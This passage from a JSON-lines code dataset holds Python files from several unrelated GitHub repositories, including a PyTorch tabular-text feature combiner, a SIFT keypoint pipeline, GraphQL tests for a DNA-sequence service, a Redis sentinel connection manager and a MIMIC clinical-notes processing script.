\"attention_on_cat_and_numerical_feats\":\n # attention keyed by transformer text features\n w_text = torch.mm(text_feats, self.weight_transformer)\n g_text = (\n (torch.cat([w_text, w_text], dim=-1) * self.weight_a)\n .sum(dim=1)\n .unsqueeze(0)\n .T\n )\n\n if cat_feats.shape[1] != 0:\n if self.cat_feat_dim > self.text_out_dim:\n cat_feats = self.cat_mlp(cat_feats)\n w_cat = torch.mm(cat_feats, self.weight_cat) \n g_cat = (\n (torch.cat([w_text, w_cat], dim=-1) * self.weight_a)\n .sum(dim=1)\n .unsqueeze(0)\n .T\n )\n else:\n w_cat = None\n g_cat = torch.zeros(0, device=g_text.device)\n\n if numerical_feats.shape[1] != 0:\n if self.numerical_feat_dim > self.text_out_dim:\n numerical_feats = self.num_mlp(numerical_feats)\n w_num = torch.mm(numerical_feats, self.weight_num)\n g_num = (\n (torch.cat([w_text, w_num], dim=-1) * self.weight_a)\n .sum(dim=1)\n .unsqueeze(0)\n .T\n )\n else:\n w_num = None\n g_num = torch.zeros(0, device=g_text.device)\n\n alpha = torch.cat([g_text, g_cat, g_num], dim=1) # N by 3\n alpha = F.leaky_relu(alpha, 0.02)\n alpha = F.softmax(alpha, -1)\n stack_tensors = [\n tensor for tensor in [w_text, w_cat, w_num] if tensor is not None\n ]\n combined = torch.stack(stack_tensors, dim=1) # N by 3 by final_out_dim\n outputs_w_attention = alpha[:, :, None] * combined\n combined_feats = outputs_w_attention.sum(dim=1) # N by final_out_dim\n elif self.combine_feat_method == \"gating_on_cat_and_num_feats_then_sum\":\n # assumes shifting of features relative to text features and that text features are the most important\n if cat_feats.shape[1] != 0:\n if self.cat_feat_dim > self.text_out_dim:\n cat_feats = self.cat_layer(cat_feats)\n g_cat = self.dropout_cat(\n self.act_func(\n self.g_cat_layer(torch.cat([text_feats, cat_feats], dim=1))\n )\n )\n g_mult_cat = g_cat * self.h_cat_layer(cat_feats)\n else:\n g_mult_cat = 0\n\n if numerical_feats.shape[1] != 0:\n if self.numerical_feat_dim > self.text_out_dim:\n numerical_feats = self.num_layer(numerical_feats)\n g_num = self.dropout_num(\n self.act_func(\n self.g_num_layer(\n torch.cat([text_feats, numerical_feats], dim=1)\n )\n )\n )\n g_mult_num = g_num * self.h_num_layer(numerical_feats)\n else:\n g_mult_num = 0\n\n H = g_mult_cat + g_mult_num + self.h_bias\n norm = torch.norm(text_feats, dim=1) / torch.norm(H, dim=1)\n alpha = torch.clamp(norm * self.tabular_config.gating_beta, min=0, max=1)\n combined_feats = text_feats + alpha[:, None] * H\n\n return combined_feats\n\n def __reset_parameters(self):\n glorot(self.weight_a)\n if hasattr(self, \"weight_cat\"):\n glorot(self.weight_cat)\n zeros(self.bias_cat)\n if hasattr(self, \"weight_num\"):\n glorot(self.weight_num)\n zeros(self.bias_num)\n glorot(self.weight_transformer)\n zeros(self.bias_transformer)\n","repo_name":"georgian-io/Multimodal-Toolkit","sub_path":"multimodal_transformers/model/tabular_combiner.py","file_name":"tabular_combiner.py","file_ext":"py","file_size_in_byte":23925,"program_lang":"python","lang":"en","doc_type":"code","stars":525,"dataset":"github-code","pt":"19"} +{"seq_id":"20619420640","text":"# Adapted from https://github.com/corenel/pytorch-adda\n\n\"\"\"Test script to classify target data.\"\"\"\n\nimport torch\nimport torch.nn as nn\nimport numpy as np\n\nfrom utils import make_variable\n\n\ndef eval_tgt(encoder, classifier, data_loader):\n \"\"\"Evaluation for target encoder by source classifier on target dataset.\"\"\"\n # set eval state for Dropout and BN layers\n encoder.eval()\n classifier.eval()\n\n # evaluate network\n predictions = []\n gts = []\n\n with torch.no_grad():\n for (images, labels) in data_loader:\n images = make_variable(images).cuda()\n labels = make_variable(labels).squeeze_()\n\n preds = classifier(encoder(images))\n pred_cls = preds.data.max(1)[1]\n\n predictions.append(pred_cls.cpu())\n gts.append(labels.cpu())\n\n predictions = np.concatenate(predictions)\n gts = np.concatenate(gts)\n\n # Calculate accuracy\n i = 0\n correct = 0\n total = 0\n for prediction in predictions:\n if prediction == gts[i]:\n correct += 1\n total += 1\n i += 1\n\n acc = (correct/total) * 100\n\n print(\"Acc: %d/%d (%.2f%%)\" % (correct, total, acc))\n","repo_name":"cgia10/Unsupervised-Domain-Adaptation","sub_path":"ADDA/core/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"73054629232","text":"#!/bin/python3\n\nwords = input().split(' ')\nnumOfReviews = int(input())\n\nreviews = []\n\nfor n in range(numOfReviews):\n hotelId = input()\n content = input()\n reviews.append([hotelId, content, 0])\n\nfor review in reviews:\n count = 0\n print(review[1])\n for word in review[1]:\n if word in words:\n count += 1\n review[2] = count\n\nprint(reviews)","repo_name":"Aran-K/HackerRank","sub_path":"Interview Coding Challanges/hotels.py","file_name":"hotels.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36891691167","text":"import pandas as pd\n\nbad = [\"ab\", \"cd\", \"pq\", \"xy\"]\ngood = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n\ndata = pd.read_csv(\"instructions5a.txt\", header = None)\n#data = pd.read_csv(\"examples5b.txt\", header = None)\nmsgs = data[0]\n\ngood_msg = 0\nfor m in msgs:\n #pairs = {}\n isGood = False\n last_pair = \"\"\n for ic in range(0, len(m)-3):\n pair = m[ic:ic+2]\n if pair in m[ic+2:]:\n for ic in range(0, len(m)-2): \n if m[ic] == m[ic+2]:\n isGood = True\n break\n if isGood:\n print (m)\n good_msg += 1\n \nprint (good_msg)\n \n","repo_name":"matteosan1/AoC","sub_path":"2015/5b.py","file_name":"5b.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"16801334794","text":"import metashape\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\nfrom project import Ui_MainWindow\r\nimport sys\r\nfrom glob import glob\r\nfrom PyQt5 import sip\r\n\r\n# Checking compatibility\r\n# compatible_major_version = \"1.7\"\r\n# found_major_version = \".\".join(Metashape.app.version.split('.')[:2])\r\n# if found_major_version != compatible_major_version:\r\n# raise Exception(\"Incompatible Metashape version: {} != {}\".format(found_major_version, compatible_major_version))\r\n\r\n#кнопка split_by_cameras\r\n\r\n#кнопка add_photos\r\ndef btn_click():\r\n name_dir_photo = ui.textEdit.toPlainText()\r\n files_lst = glob(name_dir_photo+\"\\**.jpg\") \r\n chunk = metashape.app.document.addChunck()\r\n chunk.addPhotos([files_lst])\r\n\r\n#выбор папки\r\ndef getDirectory():\r\n dirlist = QtWidgets.QFileDialog.getExistingDirectory()\r\n ui.textEdit.setPlainText(format(dirlist))\r\n\r\n\r\n\r\n\r\napp = QtWidgets.QApplication(sys.argv)\r\nMainWindow = QtWidgets.QMainWindow()\r\nui = Ui_MainWindow()\r\nui.setupUi(MainWindow)\r\nMainWindow.show()\r\n\r\n\r\nui.pushButton.clicked.connect(getDirectory)\r\nui.pushButton_3.clicked.connect(btn_click)\r\nsys.exit(app.exec_())","repo_name":"5ibiryak/plugin_MS","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"9457659005","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 22 09:44:22 2017\n\n@author: camillejandot\n\"\"\"\nimport sys\nimport os\nfrom scipy.misc import imresize,imread\nfrom HarrisCorner import HarrisCorner\nfrom EdgeDetection import EdgeDetection\nfrom LowContrast import LowContrast\nfrom FindExtrema import FindExtrema\nfrom Pyramid import Pyramid\nfrom reference_orientation import ReferenceOrientation\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom ComputeDescriptors import ComputeDescriptors\nimport time\n\n\nPACKAGE_PARENT = '..'\nSCRIPT_DIR = os.path.dirname(os.path.realpath(os.path.join(os.getcwd(), os.path.expanduser(__file__))))\nsys.path.append(os.path.normpath(os.path.join(SCRIPT_DIR, PACKAGE_PARENT)))\nfrom data_utils import load_data\nfrom equalization import equalize_item\n\nclass Sift():\n \n def __init__(self, interp_size=128, thresh_contrast=2., thresh_corner=0.1):\n self.interp_size = interp_size\n self.sigma_min = 1.5\n self.n_octaves = 3\n self.thresh_contrast = thresh_contrast\n self.thresh_corner = thresh_corner\n \n \n def perform_sift(self, image, verbose=False):\n equalized_item = equalize_item(image, verbose=False)\n im_res = imresize(equalized_item, (self.interp_size, self.interp_size), interp=\"bilinear\") \n plt.figure()\n plt.imshow(im_res, cmap=\"gray\")\n pyramid = Pyramid(img=im_res, sigma=self.sigma_min, n_oct=self.n_octaves)\n dogs = pyramid.create_diff_gauss() \n find_extrema = FindExtrema()\n extrema, extrema_flat = find_extrema.find_extrema(dogs)\n print(\".................Done computing extrema\")\n \n # find bad points\n bad_points = []\n for o, octave in enumerate(dogs):\n list_oct = []\n for sc, img in enumerate(octave[1:3]) :\n list_scale = []\n harris = HarrisCorner(threshold=self.thresh_corner)\n idx_corners = harris.get_corners(img)\n list_scale.extend(idx_corners)\n edges = EdgeDetection().find_edges(img)\n list_scale.extend(edges)\n contrast = LowContrast(threshold=self.thresh_contrast).get_low_contrast(img)\n list_scale.extend(contrast)\n \n # plot bad points\n \n if verbose:\n plt.figure()\n plt.imshow(img, cmap=\"gray\")\n idx_corners_x, idx_corners_y = [i[0] for i in idx_corners], [i[1] for i in idx_corners]\n idx_edges_x, idx_edges_y = [i[0] for i in edges], [i[1] for i in edges]\n idx_contr_x, idx_contr_y = [i[0] for i in contrast], [i[1] for i in contrast]\n #corners in blue, edges in red, low contrast points i green\n s = 2 * 2**o #0.8* 2**o\n plt.scatter(idx_edges_y,idx_edges_x, marker='o', c='r', s=s)\n plt.scatter(idx_contr_y, idx_contr_x, marker='o', c='g', s=s)\n plt.scatter(idx_corners_y, idx_corners_x, marker='o', c='b', s=s)\n plt.title(\" Bad points for Octave \" + str(o) +\" Scale \" + str(sc+1))\n list_oct.append(list_scale)\n bad_points.append(list_oct) \n print(\".................Done computing bad points\")\n \n # remove bad points from extrema\n for i in range(len(bad_points)):\n for j in range(len(bad_points[0])):\n img = dogs[i][j+1] \n a = set(extrema[i][j])\n b = set(bad_points[i][j])\n extrema[i][j] = list(a - b)\n if verbose:\n plt.figure()\n s = 2 * 2**i #0.1 * 2**i\n plt.axis('equal')\n idx_extrema_x, idx_extrema_y = [ind[0] for ind in extrema[i][j]], [ind[1] for ind in extrema[i][j]]\n plt.scatter(-1 * np.array(idx_extrema_y), idx_extrema_x, marker='o', c='b', s=s)\n plt.title(\"Extrema for Octave \" + str(i) +\" scale \" + str(j+1))\n\n print(\".................Done Computing keypoints\")\n return pyramid, extrema_flat\n\n\n\n","repo_name":"Salma-El-Alaoui/Kernel-Methods","sub_path":"src/sift/sift.py","file_name":"sift.py","file_ext":"py","file_size_in_byte":4198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"19031457619","text":"from dasi.graphql_schema.query_formatter import graphql_mutation\n\ndef test_allSequences(graphql_client):\n executed = graphql_client.execute('''\n{\n allSequences {\n edges {\n node {\n id\n bases\n }\n }\n }\n} \n''')\n assert executed == {'data': {\n \"allSequences\": {\n \"edges\": []\n }\n }\n }\n print(executed)\n\n\ndef test_createSequence(app, graphql_client):\n \"\"\"Expect creation of a sequence with expected parameters\"\"\"\n mutation = '''\n mutation createSequence($sequence: SequenceInput!) {\n createSequence(sequence: $sequence) {\n ok\n sequence {\n name\n bases\n }\n }\n }\n '''\n with app.app_context():\n seq = {\n \"sequence\": {\n \"name\": \"myseq\",\n \"circular\": False,\n \"bases\": \"aggagataagagatat\",\n \"features\": []\n }\n }\n executed = graphql_client.execute(mutation, variable_values=seq)\n print(dict(executed))\n ok = executed['data'][\"createSequence\"]['ok']\n seq = executed['data'][\"createSequence\"]['sequence']\n\n assert ok\n assert seq == {\n \"name\": \"myseq\",\n \"bases\": \"aggagataagagatat\"\n }\n\n\ndef test_createPrimer_using_formatter(app, graphql_client):\n\n primer_data = {\n \"name\": \"my_primer\",\n \"bases\": \"gcgtatctgtatatcgtctgatgctgg\"\n }\n\n with app.app_context():\n\n primer_variables = {\"primer\": (\"PrimerInput!\", primer_data)}\n primer_data, primer_error = graphql_mutation(graphql_client, \"createPrimer\", primer_variables, \"ok\\nprimer { name\\nbases }\")\n assert primer_data == {\n 'ok': True,\n 'primer': {\n \"bases\": \"gcgtatctgtatatcgtctgatgctgg\",\n \"name\": \"my_primer\"\n }\n }\n\n\ndef test_createSequence_withFeature(app, graphql_client):\n \"\"\"A fairly complex test with (i) heirarchical inputs for sequence and features and\n (ii) creating sequences. We expect the creation of the sequence and feature to be\n successful and return hte sequence and feature information that was sent in.\"\"\"\n\n mutation = '''\n mutation createSequence($sequence: SequenceInput!) {\n createSequence(sequence: $sequence) {\n ok\n sequence {\n name\n bases\n features {\n edges {\n node {\n name\n start\n end\n type\n strand\n }\n }\n }\n }\n }\n }\n '''\n feature_variables = {\n \"name\": \"myfeature\",\n \"type\": \"misc\",\n \"start\": 0,\n \"end\": 10,\n \"strand\": 1\n }\n\n sequence_variables = {\n \"sequence\": {\n \"name\": \"myseq\",\n \"bases\": \"AGTTAGA\",\n \"circular\": False,\n \"features\": [feature_variables]\n }\n }\n\n with app.app_context():\n executed = graphql_client.execute(mutation, variable_values=sequence_variables)\n print(dict(executed))\n ok = executed['data'][\"createSequence\"]['ok']\n seq = executed['data'][\"createSequence\"]['sequence']\n\n assert ok\n assert seq == {\n \"name\": \"myseq\",\n \"bases\": \"AGTTAGA\",\n \"features\": {\n \"edges\": [\n {\"node\": {\n \"name\": \"myfeature\",\n \"start\": 0,\n \"end\": 10,\n \"type\": \"misc\",\n \"strand\": 1\n }}\n ]\n }\n }\n\n\ndef test_run_with_pyblast(app, graphql_client):\n query = \"\"\"{ alignments(queryName: \"myseq\") }\"\"\"\n\n mutation = '''\n mutation NewSequence($sequence: SequenceInput!) {\n createSequence(sequence: $sequence)\n ok\n sequence {\n name\n bases\n }\n }\n }\n '''\n\n sequence_data = {\n \"sequence\": {\n \"name\": \"myseq\",\n \"bases\": \"aaacttcccaccccataccctattaccactgccaattacctagtggtttcatttactctaaacctgtgattcctctgaattattttcatttta\",\n \"circular\": False,\n }\n }\n\n with app.app_context():\n graphql_client.execute(mutation, variable_values=sequence_data)\n executed = graphql_client.execute(query)\n print(executed)\n # assert executed['data']['alignments'] is not None\n\n\ndef test_createResults(app, graphql_client):\n create_sequence = '''\n mutation newSequence($sequence: SequenceInput!) {\n createSequence(sequence: $sequence) {\n ok\n sequence {\n id\n name\n bases\n }\n }\n }\n '''\n\n create_alignment = '''\n mutation createAlignment($query_id: ID!, $subject_ids: [ID]) {\n createAlignment(subjectIds: $subject_ids, queryId: $query_id) {\n ok\n results {\n id\n queryId\n subjectId\n alignmentScoreId\n query {\n bases\n }\n subject {\n bases\n }\n alignmentScore {\n id\n }\n }\n }\n }\n '''\n\n with app.app_context():\n sequence_data = {\n \"sequence\": {\n \"name\": \"myseq\",\n \"bases\": \"atgctgacgcgcgtatctgtatatcgtctgatgctggcgcgattttgctagcagtctatattcgtagctgac\",\n \"circular\": False,\n \"features\": []\n }\n }\n executed = graphql_client.execute(create_sequence, variable_values=sequence_data)\n print(executed)\n executed = graphql_client.execute(create_sequence, variable_values=sequence_data)\n nodes = graphql_client.execute('''{allSequences {edges {node {id}}}}''')['data']['allSequences']['edges']\n seq_ids = [x['node']['id'] for x in nodes]\n query_id = executed['data']['createSequence']['sequence']['id']\n executed = graphql_client.execute(create_alignment,\n variable_values={\"query_id\": query_id, \"subject_ids\": None})\n print(executed)\n if 'errors' in executed:\n msg = \"\"\n for i, e in enumerate(executed['errors']):\n msg += \" ({}) {} {} {}\\n\".format(i, e['message'], e['locations'], e['path'])\n raise Exception(\"There were errors that occured during GraphQL execution.\\n{}\".format(msg))\n results = executed['data']['createAlignment']['results']\n print(results)\n\n\ndef test_createPrimerResults(app, graphql_client):\n\n with app.app_context():\n # load sequence\n sequence_data = {\n \"name\": \"myseq\",\n \"bases\": \"atgctgacgcgcgtatctgtatatcgtctgatgctggcgcgattttgctagcagtctatattcgtagctgac\",\n \"circular\": False,\n \"features\": []\n }\n seq_variables = {\"sequence\": (\"SequenceInput!\", sequence_data)}\n seq_data, seq_errors = graphql_mutation(graphql_client, \"createSequence\", seq_variables, \"sequence { id }\")\n assert seq_data is not None\n assert seq_errors is None\n\n # load primer\n primer_data = {\n \"name\": \"my_primer\",\n \"bases\": \"gcgtatctgtatatcgtctgatgctgg\"\n }\n primer_variables = {\"primer\": (\"PrimerInput!\", primer_data)}\n primer_data, primer_errors = graphql_mutation(graphql_client, \"createPrimer\", primer_variables, \"primer { id }\")\n assert primer_data is not None\n assert primer_errors is None\n\n # get results\n variables = {\"queryId\": (\"ID!\", seq_data['sequence']['id'])}\n results_data, results_error = graphql_mutation(graphql_client, \"createPrimerResults\", variables, \"results { id }\")\n assert results_data is not None\n assert results_error is None\n\n assert len(results_data['results']) == 2\n\n\ndef test_sequences(app, graphql_client):\n\n with app.app_context():\n e = graphql_client.execute(\"{ sequences { id } }\")\n print(e)\n\n\ndef test_createResults_with_rc_sequence(app, graphql_client):\n\n with app.app_context():\n\n seq1 = {\n \"name\": \"myseq\",\n \"circular\": False,\n \"bases\": \"aaaactgtattataagtaaatgcatgtatactaaactcacaaattagagcttcaatttaattatatcagttattacccgggaatctcggtcgtaat\" \\\n \"gatttctataatgacgaaaaaaaaaaaattggaaagaaaaagcttcatggcctttataaaaaggaactatccaatacctcgccagaaccaagtaacagtatttt\" \\\n \"acggggcacaaatcaagaacaataaga\",\n \"features\": []\n }\n\n seq2 = {\n \"name\": \"myseq\",\n \"circular\": False,\n \"bases\": \"ttccaattttttttttttcgtcattatagaaatcattacgaccgagattccc\",\n \"features\": []\n }\n\n seq1_res, errors = graphql_mutation(graphql_client, \"createSequence\", {\"sequence\": (\"SequenceInput!\", seq1)}, \"ok\\nsequence { id }\")\n seq2_res, errors = graphql_mutation(graphql_client, \"createSequence\", {\"sequence\": (\"SequenceInput!\", seq2)}, \"ok\\nsequence { id }\")\n\n query_id = seq1_res['sequence']['id']\n\n fields = \"\"\"\n results {\n id\n query {\n bases\n start\n end\n strand\n }\n subject {\n bases\n start\n end\n strand\n }\n }\"\"\"\n results, errors = graphql_mutation(graphql_client, \"createResults\", {\"queryId\": (\"ID!\", query_id)}, fields)\n print(errors)\n print(results)","repo_name":"jvrana/DASiGraphConstructor","sub_path":"tests/test_server/test_graphql/test_schema.py","file_name":"test_schema.py","file_ext":"py","file_size_in_byte":9958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"26800199206","text":"from typing import Union\nimport random\nfrom redis.client import Redis\nfrom redis.connection import BlockingConnectionPool\nfrom redis.sentinel import Sentinel\nfrom django.conf import settings\n\nfrom apps.core import consts\n\n\nclass RedisManager:\n _pools = {}\n _sentinel = None\n _slave_rr_counter = None\n\n @classmethod\n def get_sentinel(cls) -> Union[Sentinel, Redis]:\n if cls._sentinel:\n return cls._sentinel\n\n redis_sentinel = settings.REDIS_SENTINEL\n redis_pass = settings.REDIS_PASS\n\n sentinel_addrs = redis_sentinel.split(\",\")\n sentinel_params = []\n\n # Single host, don't use Redis cluster\n if len(sentinel_addrs) == 1:\n host, port = sentinel_addrs[0].split(\":\")\n cls._sentinel = Redis(\n host=host, port=int(port), password=redis_pass, retry_on_timeout=True\n )\n return cls._sentinel\n\n # Use Redis Cluster Sentinel\n for addr in sentinel_addrs:\n host, port = addr.split(\":\")\n sentinel_params.append((host, int(port)))\n\n connection_kwargs = {\n \"socket_timeout\": 1.0,\n \"retry_on_timeout\": True,\n \"socket_keepalive\": True,\n }\n cls._sentinel = Sentinel(sentinel_params, **connection_kwargs)\n return cls._sentinel\n\n @classmethod\n def get_connect_pool(cls, host, port) -> BlockingConnectionPool:\n \"\"\"Return connection pool to a Redis host\n\n If there is no pool to specific host, create a new one\n and save to use later.\n \"\"\"\n pool_key = f\"{host}:{port}\"\n if pool_key in cls._pools:\n return cls._pools.get(pool_key)\n\n pool_kwargs = {\n \"host\": host,\n \"port\": port,\n \"password\": settings.REDIS_PASS,\n \"max_connections\": settings.REDIS_POOL_MAX_CONNECTIONS,\n \"timeout\": settings.REDIS_POOL_BLOCK_TIMEOUT,\n \"health_check_interval\": settings.REDIS_HEALTH_CHECK_INTERVAL,\n \"socket_timeout\": 1.0,\n \"retry_on_timeout\": True,\n \"socket_keepalive\": True,\n }\n pool = BlockingConnectionPool(**pool_kwargs)\n\n cls._pools[pool_key] = pool\n return pool\n\n @classmethod\n def get_master(cls) -> Redis:\n \"\"\"\n Connection to redis master, using for write data\n \"\"\"\n sentinel = cls.get_sentinel()\n if isinstance(sentinel, Redis):\n return sentinel\n\n host, port = sentinel.discover_master(settings.REDIS_DB_MASTER)\n master_pool = cls.get_connect_pool(host, port)\n return Redis(connection_pool=master_pool)\n\n @classmethod\n def get_slave(cls) -> Redis:\n \"\"\" Connection to redis slave, using for read data\n\n Using round-robin slave balancer\n \"\"\"\n sentinel = cls.get_sentinel()\n if isinstance(sentinel, Redis):\n return sentinel\n\n slaves = sentinel.discover_slaves(settings.REDIS_DB_MASTER)\n if not slaves:\n return cls.get_master()\n\n # Round-robin balancer\n if cls._slave_rr_counter is None:\n cls._slave_rr_counter = random.randint(0, len(slaves))\n cls._slave_rr_counter = (cls._slave_rr_counter + 1) % len(slaves)\n\n host, port = slaves[cls._slave_rr_counter]\n slave_pool = cls.get_connect_pool(host, port)\n return Redis(connection_pool=slave_pool)\n\n\ndef get_master() -> Redis:\n \"\"\"\n Connection to redis master, using for write data\n \"\"\"\n return RedisManager.get_master()\n\n\ndef get_slave() -> Redis:\n \"\"\"\n Connection to redis slave, using for read data\n \"\"\"\n return RedisManager.get_slave()\n\n\ndef set_key(key: str, value: str, timeout: int = 0):\n \"\"\"Set key-value with timeout in seconds\n\n If timeout == 0, key live forever.\n \"\"\"\n master = get_master()\n if timeout:\n master.setex(key, timeout, value)\n else:\n master.set(key, value)\n\n\ndef set_key_dict(name: str, mapping: dict, timeout: int = 0):\n \"\"\"\n Set key with value is Python dict, using HSET Redis.\n timeout in seconds\n \"\"\"\n master = get_master()\n master.hset(name, mapping=mapping)\n if timeout:\n master.expire(name, timeout)\n\n\ndef get_key(name: str) -> dict:\n \"\"\"Get object from name using HGETALL\n\n Return dict as value\n \"\"\"\n return get_slave().hgetall(name)\n\n\ndef get_expired_time(key: str) -> int:\n \"\"\"Get expired time of key\n \"\"\"\n return get_master().ttl(key)\n\n\ndef set_key_raw(key: str, value: str):\n return get_master().set(key, value)\n\n\ndef get_key_raw(key: str):\n return get_slave().get(key)\n\n\ndef remove_key(key: str) -> None:\n master = get_master()\n return master.delete(key)\n\n\ndef save_access_token(token_key: str, expire_time: int, dict_payload: dict):\n \"\"\"\n Save token data\n token_key: String Ex: 3be9bfe2881401369d6a2ec4ba609422\n 9411346bdca64813277d4beb550c1d5c\n bdc3e87e0224d71f35e04ab8ab76af9a\n 3dd515906b57d246ec1c70b00911de51\n dict_payload: Dict Ex: {\n \"login_id\": \"MT5_ID_EXAMPLE\",\n \"create_time\": \"2020-02-15 09:08:22.10293+00:00\"\n }\n \"\"\"\n master = get_master()\n master.hset(token_key, mapping=dict_payload)\n if expire_time:\n master.expire(token_key, expire_time)\n\n\ndef save_user_device(user_id: int, device_type: str, token_key: str):\n master = get_master()\n hash_key = consts.CACHED_KEY_DEVICE_USER.format(user_id=user_id)\n data = {\"device_type\": device_type, \"token_key\": token_key}\n master.hset(hash_key, mapping=data)\n\n\ndef check_user_device_type_exist(user_id: str, device_type: str) -> bool:\n slave = get_slave()\n hash_key = consts.CACHED_KEY_DEVICE_USER.format(user_id=user_id)\n\n old_device = slave.hget(hash_key, \"device_type\")\n return old_device == device_type.encode()\n","repo_name":"manhcuong2801/send_sms","sub_path":"send_mail/core/redis_service.py","file_name":"redis_service.py","file_ext":"py","file_size_in_byte":5910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"26348093686","text":"#!/usr/bin/env python3\n\nimport csv\nimport sys\nimport argparse\nimport requests\nimport gzip\nfrom json import dumps\nfrom time import sleep\nfrom os.path import join\n\nfrom threading import Thread\nfrom queue import Queue\n\nJSON = 'json'\nXMI = 'xmi'\nJSON_LITE = 'json-lite'\nFHIR = 'fhir'\nMONGO = 'mongo'\n\nSTOP_JOB = '-STOP-'\nNUM_TRIES = 5\n\nfile_extensions = {JSON:JSON, XMI:XMI, JSON_LITE:JSON, FHIR:FHIR}\noutput_formats = [JSON, XMI, JSON_LITE, FHIR, MONGO]\n\n# One worker type just reads notes and metadata from a queue, calls a REST server, and\n# puts the output into the output queue\nclass InputWorker(Thread):\n def __init__(self, job_queue, output_queue, rest_url):\n super().__init__()\n self.in_queue = job_queue\n self.out_queue = output_queue\n self.rest_url = rest_url\n\n def run(self):\n while True:\n job = self.in_queue.get()\n if job == STOP_JOB:\n self.in_queue.task_done()\n break\n\n (text, params, metadata) = job\n tries = 0\n while tries < NUM_TRIES:\n tries += 1\n r = requests.post(self.rest_url, data=text, params=params)\n if r is not None and r.status_code == 200:\n json = r.json()\n output_json = {'nlp':json, 'metadata': metadata}\n self.out_queue.put(output_json)\n self.in_queue.task_done()\n break\n else:\n if tries == NUM_TRIES:\n sys.stderr.write('Could not process row with metadata %s' % (str(metadata)))\n\n \n\n# The other worker type reads the output from the NLP and stores it, either in a filesystem\n# or a database.\nclass OutputWorker(Thread):\n def __init__(self, output_queue, args):\n super().__init__()\n self.queue = output_queue\n self.args = args\n\n def run(self):\n while True:\n job = self.queue.get()\n if job == STOP_JOB:\n self.queue.task_done()\n break\n else:\n json = job\n\n if self.args.output_format == 'json':\n json['nlp'] = json['nlp']['_views']['_InitialView']\n\n output = json\n\n if self.args.output_format == 'fhir':\n # TODO call to Bin's library once it's pip installable\n raise NotImplementedError('FHIR file output not implemented yet.')\n\n if self.args.output_format in ['json', 'xmi', 'json-lite', 'fhir']:\n of_name = join(self.args.output_dir, '%s.%s' % (output['metadata']['ROW_ID'], file_extensions[self.args.output_format]))\n with open(of_name, 'wt') as of:\n of.write(dumps(output))\n self.queue.task_done()\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Process some integers.')\n parser.add_argument('input_file', help='Path to NOTEEVENTS.csv[.gz] file')\n parser.add_argument('--output-format', choices=output_formats, default='json')\n parser.add_argument('--rest-url', help='Path to cTAKES REST URL')\n parser.add_argument('--max-notes', type=int, help='Max number of notes to process (for testing)', default=-1)\n parser.add_argument('--output-dir', help='Output dir (for file-based output formats', default=None)\n parser.add_argument('--num-threads', type=int, default=1, help='Number of workers to run (does not need to equal the number of containers (default=1)')\n args = parser.parse_args()\n return args\n\ndef main():\n args = parse_args()\n # Trying to transparently handle the gzipped or non-gzipped case\n if args.input_file.endswith('.csv.gz'):\n f = gzip.open(args.input_file, 'rt')\n elif args.input_file.endswith('.csv'):\n f = open(args.input_file, 'rt')\n else:\n raise Exception('Input file must end with .csv[.gz]')\n\n params = {}\n if args.output_format == 'json':\n # this filters out syntax but keeps all the semantic types\n params['format'] = 'filtered'\n elif args.output_format == 'xmi':\n params['format'] = 'xmi'\n\n assert args.output_format == MONGO or not args.output_dir is None, 'If output format is a file-based method then output-dir must be defined.'\n\n # Set the queue max size to 100 -- 100 is plenty for the workers to work with, and no need to read all of mimic into memory while we're waiting for the queue to be processed\n job_queue = Queue(maxsize = 100)\n output_queue = Queue()\n\n # start up all the workers\n workers = []\n for ind in range(args.num_threads):\n worker = InputWorker(job_queue, output_queue, args.rest_url)\n worker.start()\n workers.append(worker)\n\n writer = OutputWorker(output_queue, args)\n writer.start()\n\n with f:\n csvreader = csv.DictReader(f)\n for row_ind, row in enumerate(csvreader):\n # check whether the user specified for an early exit (usually for testing purposes)\n if args.max_notes > 0 and row_ind >= args.max_notes:\n print('Exiting after %d notes due to input argument' % (args.max_notes))\n break\n\n while job_queue.full():\n # no need to put all this data into memory if we already have 100 notes queued up.\n sleep(1)\n\n\n text = row.pop('TEXT')\n job_queue.put( (text, params, row) )\n\n # after we've pushed all the jobs to the workers add the stop job so they know when to exit.\n for worker_ind, worker in enumerate(workers):\n job_queue.put( STOP_JOB )\n\n for worker in workers:\n worker.join()\n\n # all workers are done, put a STOP job in the output queue too\n output_queue.put(STOP_JOB)\n job_queue.join()\n output_queue.join()\n\n # Wait for writer to process all the output jobs and quit:\n writer.join()\n\n print(\"Processing complete and all threads shut down...\")\n\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"meng-ma-biomedical-AI/curate-mimic","sub_path":"process_mimic.py","file_name":"process_mimic.py","file_ext":"py","file_size_in_byte":6043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"7322051868","text":"from configs.domain_list import DomainList\r\n\r\nfrom schemas.util.relation import relation\r\n\r\nCOMPANY_SCHEMA = {\r\n \"title\": {\r\n \"type\": \"string\",\r\n \"required\": True,\r\n \"minlength\": 2,\r\n },\r\n \"tags\": {\r\n \"type\": \"list\",\r\n \"schema\": {\r\n \"type\": \"string\",\r\n \"required\": True,\r\n \"minlength\": 2,\r\n },\r\n },\r\n \"contacts\": {\r\n \"type\": \"list\",\r\n \"required\": True,\r\n \"default\": [],\r\n \"schema\": relation(DomainList.CONTACTS),\r\n },\r\n \"website\": {\r\n \"type\": 